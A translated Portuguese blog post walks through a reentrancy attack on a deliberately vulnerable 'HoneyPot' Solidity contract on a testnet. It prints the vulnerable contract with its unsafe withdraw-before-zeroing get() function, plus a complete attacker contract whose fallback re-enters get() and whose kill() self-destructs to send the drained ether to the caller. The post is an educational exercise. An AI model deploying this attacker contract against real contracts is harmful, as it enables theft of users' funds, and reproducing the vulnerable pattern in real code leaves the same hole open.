WEB3DEV

Cover image for Ataque de reentrância em contratos inteligentes: como identificar o explorável e um exemplo de ataque
Rafael Ojeda
Rafael Ojeda

Posted on • Atualizado em

Ataque de reentrância em contratos inteligentes: como identificar o explorável e um exemplo de ataque

Ataque de reentrância em contratos inteligentes: como identificar o explorável e um exemplo de ataque

Codificar contratos inteligentes certamente não é brincadeira. Um bug introduzido no código custa dinheiro e muito provavelmente não só o seu dinheiro, mas também o de outras pessoas. A realidade é que o ecossistema Ethereum ainda está em sua infância, mas está crescendo e os padrões estão sendo definidos e redefinidos a cada dia, portanto é preciso estar sempre atualizado e aproximar-se das melhores práticas de segurança de contratos inteligentes.

Como estudante de segurança de contratos inteligentes, tenho estado atento a vulnerabilidades em código. Chamou a minha atenção esse contrato implantado para testnet.

pragma solidity ^0.4.8;
contract HoneyPot {
  mapping (address => uint) public balances;
  function HoneyPot() payable {
    put();
  }
  function put() payable {
    balances[msg.sender] = msg.value;
  }
  function get() {
    if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
    }
      balances[msg.sender] = 0;
  }
  function() {
    throw;
  }
}
Enter fullscreen mode Exit fullscreen mode

O contrato HoneyPot acima continha originalmente 5 ethers e foi deliberadamente concebido para ser invadido. Nesta postagem do blog, quero compartilhar com vocês como ataquei este contrato e 'coletei' a maior parte de seu ether.

O Contrato Vulnerável

O objetivo do contrato HoneyPot acima é manter um registro de saldos para cada endereço que put() ether no mesmo. Ele também permite que um endereço get() esse ether e o deposite nele.

Vejamos as partes mais interessantes deste contrato:

mapping (address => uint) public balances;
Enter fullscreen mode Exit fullscreen mode

O código acima mapeia um valor e o armazena em uma variável pública chamada balances. Ele permite verificar o saldo do HoneyPot para um endereço.

balances[0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]
Enter fullscreen mode Exit fullscreen mode

A função put() abaixo é onde o armazenamento do valor do ether acontece no contrato. Observe que aqui o msg.sender é o endereço do remetente da transação.

function put() payable {
    balances[msg.sender] = msg.value;
  }
Enter fullscreen mode Exit fullscreen mode

A seguir, encontraremos a função onde o explorável está. O objetivo desta função é deixar que os endereços retirem o valor de ether que eles têm em HoneyPot como saldo.

function get() {
    if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
    }
      balances[msg.sender] = 0;
  }
Enter fullscreen mode Exit fullscreen mode

Onde está o explorável e como alguém pode atacá-lo, você se pergunta? Verifique novamente estas linhas de código :

if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
}
balances[msg.sender] = 0;
Enter fullscreen mode Exit fullscreen mode

O contrato HoneyPot define o valor do saldo do endereço como zero somente depois de verificar se o envio do ether para o msg.sender foi feito.

E se houver um contrato AttackContract que engana o HoneyPot para que ele pense que ainda tem ether para retirar antes que o saldo da AttackContract seja fixado em zero. Isto pode ser feito de forma recorrente e o nome para isto é ataque de reentrância.

Vamos criar um.

Aqui está o código completo do contrato. Vou tentar explicar o melhor possível suas partes.

pragma solidity ^0.4.8;
import "./HoneyPot.sol";
contract HoneyPotCollect {
  HoneyPot public honeypot;
  function HoneyPotCollect (address _honeypot) {
    honeypot = HoneyPot(_honeypot);
  }
  function kill () {
    suicide(msg.sender);
  }
  function collect() payable {
    honeypot.put.value(msg.value)();
    honeypot.get();
  }
  function () payable {
    if (honeypot.balance >= msg.value) {
      honeypot.get();
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

As primeiras linhas estão basicamente atribuindo o compilador de solidity a ser usado com o contrato. Depois importamos o contrato HoneyPot que coloquei em um arquivo separado. Note que o HoneyPot é referenciado em todo o contrato HoneyPotCollect. E criamos a base do contrato que chamamos HoneyPotCollect .

pragma solidity ^0.4.8;
import "./HoneyPot.sol";
contract HoneyPotCollect {
  HoneyPot public honeypot;
...
}
Enter fullscreen mode Exit fullscreen mode

Depois definimos a função do construtor. Esta é a função que é chamada quando a HoneyPotCollect é criada. Note que passamos um endereço para esta função. Este endereço será o endereço do contrato HoneyPotCollect.

function HoneyPotCollect (address _honeypot) {
    honeypot = HoneyPot(_honeypot);
}
Enter fullscreen mode Exit fullscreen mode

A próxima função é a função kill. Quero retirar o ether do contrato HoneyPot para o contrato HoneyPotCollect. Entretanto, quero também levar o ether coletado para um endereço que eu possua. Portanto, acrescento um mecanismo para destruir o HoneyPotCollect e envio todo o ether nele contido para o endereço que chama a função kill.

function kill () {
  suicide(msg.sender);
}
Enter fullscreen mode Exit fullscreen mode

A seguinte função é a que ativará o ataque de reentrância. Ela coloca algum ether no HoneyPot e logo após isso, ela o recebe.

function collect() payable {
    honeypot.put.value(msg.value)();
    honeypot.get();
  }
Enter fullscreen mode Exit fullscreen mode

O termo pagável aqui diz à Máquina Virtual Ethereum que ela permite receber ether. Invoque esta função também com algum ether.

A última função é o que é conhecido como a função fallback. Esta função sem nome é chamada sempre que o contrato HoneyPotCollect recebe ether.

function () payable {
    if (honeypot.balance >= msg.value) {
      honeypot.get();
    }
  }
Enter fullscreen mode Exit fullscreen mode

É aqui que ocorre o ataque de reentrância. Vamos ver como.

O Ataque

Depois de distribuir o HoneyPotCollect, chame a collect() e envie com ela algum ether.

A função HoneyPot get() envia ether para o endereço que o chamou somente se este contrato tiver algum ether em saldo. Quando HoneyPot envia ether para HoneyPotCollect, a função fallback é acionada. Se o saldo do HoneyPot for maior que o valor para o qual foi enviado, a função fallback chama novamente a função get() e o ciclo se repete.

Lembre-se de que dentro da função get() o código que estabelece o saldo a zero só vem depois de enviar a transação. Isto engana o contrato HoneyPot a enviar dinheiro para o endereço HoneyPotCollect repetidamente até que o HoneyPot esgote quase todo seu ether.

Experimente você mesmo. Deixei 1 ether de teste neste contrato para que outros possam experimentá-lo por conta própria. Se você não vê mais nenhum ether lá, então é porque alguém já o atacou antes de você.

Eu criei originalmente este código para o HoneyPotAttack utilizando a framework Truffle. Aqui está o código, caso você precise dele para referência. Aproveite!

Este Artigo foi escrito por Gustavo ( Gus ) Guimarães e traduzido para o português por Rafael Ojeda

Você pode ler o Artigo original em inglês aqui

Latest comments (0)